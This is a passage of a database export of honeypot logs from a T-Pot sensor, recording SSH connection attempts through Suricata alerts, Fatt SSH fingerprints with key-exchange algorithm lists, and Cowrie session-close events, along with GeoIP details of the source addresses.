"AAADzAYU028VKdecGZ9r4q8DPmboGgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38938, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:15:48.789182Z", "@timestamp": "2021-09-20T11:15:48.789Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......o.)....k...>f.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
42990	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:24:49.06012+03	2021-09-20 16:30:02.500759+03	{"_id": "BwZhA3wBvYTbRNuEbp76", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:24:49.060120Z", "@timestamp": "2021-09-20T13:24:49.060Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
27956	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:15:56.382658+03	2021-09-20 14:30:02.200523+03	{"_id": "pgbrAnwBvYTbRNuEcCug", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33074, "dest_port": 22, "timestamp": "2021-09-20T11:15:56.382658", "@timestamp": "2021-09-20T11:15:56.382Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27957	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:15:55.665385+03	2021-09-20 14:30:02.202523+03	{"_id": "pwbrAnwBvYTbRNuEcCug", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 55460, "dest_port": 22, "timestamp": "2021-09-20T11:15:55.665385", "@timestamp": "2021-09-20T11:15:55.665Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27958	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:56.378363+03	2021-09-20 14:30:02.203523+03	{"_id": "qAbrAnwBvYTbRNuEcCug", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33074, "timestamp": "2021-09-20T11:15:56.378363", "@timestamp": "2021-09-20T11:15:56.378Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27959	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:55.811368+03	2021-09-20 14:30:02.204523+03	{"_id": "qQbrAnwBvYTbRNuEcStq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "4905fbece771", "@version": "1", "duration": 5.452065706253052, "timestamp": "2021-09-20T11:15:55.811368Z", "@timestamp": "2021-09-20T11:15:55.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27960	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:56.549012+03	2021-09-20 14:30:02.206525+03	{"_id": "sgbrAnwBvYTbRNuEcStr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "81.71.17.12", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.566199779510498, "duplicate": true, "timestamp": "2021-09-20T11:15:56.549012Z", "@timestamp": "2021-09-20T11:15:56.549Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
27961	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:15:56.378192+03	2021-09-20 14:30:02.207524+03	{"_id": "yAbrAnwBvYTbRNuEcytB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 2201786755281121, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 33074, "dest_port": 22, "timestamp": "2021-09-20T11:15:56.378192Z", "@timestamp": "2021-09-20T11:15:56.378Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27962	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:15:56.496333+03	2021-09-20 14:30:02.208524+03	{"_id": "xwbrAnwBvYTbRNuEcytB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1414441940505407, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54956, "dest_port": 22, "timestamp": "2021-09-20T11:15:56.496333Z", "@timestamp": "2021-09-20T11:15:56.496Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27963	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:15:56.511436+03	2021-09-20 14:30:02.210524+03	{"_id": "ygbrAnwBvYTbRNuEdCuJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54956, "dest_port": 22, "timestamp": "2021-09-20T11:15:56.511436", "@timestamp": "2021-09-20T11:15:56.511Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
